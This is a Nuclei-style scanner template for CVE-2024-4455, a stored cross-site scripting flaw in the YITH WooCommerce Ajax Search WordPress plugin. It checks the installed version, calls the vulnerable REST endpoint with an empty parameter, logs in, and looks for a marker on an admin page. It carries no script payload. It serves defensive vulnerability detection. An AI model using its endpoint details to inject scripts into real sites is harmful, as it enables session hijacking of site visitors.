id: CVE-2024-4455
info:
name: YITH WooCommerce Ajax Search <= 2.4.0 - Cross-Site Scripting
author: Shivam Kamboj
severity: high
description: |
The YITH WooCommerce Ajax Search plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'queryString' parameter in the REST API endpoint /ywcas/v1/register in versions up to, and including, 2.4.0 due to insufficient input sanitization and output escaping.
impact: |
Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.
remediation: |
Update YITH WooCommerce Ajax Search plugin to version 2.4.1 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4455
- https://www.wordfence.com/threat-intel/vulnerabilities/id/cf0f5fd4-cd06-4d11-9f22-1f417b546afb
- https://patchstack.com/database/vulnerability/yith-woocommerce-ajax-search/wordpress-yith-woocommerce-ajax-search-plugin-2-4-0-unauthenticated-stored-cross-site-scripting-vulnerability
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cve-id: CVE-2024-4455
epss-score: 0.0101
epss-percentile: 0.58585
cwe-id: CWE-79
metadata:
verified: true
max-request: 4
vendor: yithemes
product: yith-woocommerce-ajax-search
framework: wordpress
tags: cve,cve2024,wordpress,wp,wp-plugin,xss,yith,woocommerce,authenticated,vkev
flow: (http(1) && http(2)) || (http(3) && http(4))
http:
- raw:
- |
GET /wp-content/plugins/yith-woocommerce-ajax-search/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "compare_versions(version, '<= 2.4.0')"
- "contains(body, 'YITH WooCommerce Ajax Search')"
condition: and
internal: true
extractors:
- type: regex
part: body
name: version
group: 1
regex:
- 'Stable tag: ([0-9.]+)'
internal: true
- raw:
- |
GET /?rest_route=/ywcas/v1/register&queryString=&totalResults=0 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: regex
part: body
regex:
- '"loggerID":\s*[0-9]+'
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- raw:
- |
GET /wp-admin/admin.php?page=yith_wcas_panel&tab=statistic&from&to&view_all=no_results HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "Query\">")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022072971f82ae02ec9b53377ff3a459678be6538305686126d29260f3b4801d0d7602210099993371734a0c01318404698adc318e0bb58d323aebc6733fa81e46f85b0750:922c64590222798bb761d5b6d8e72950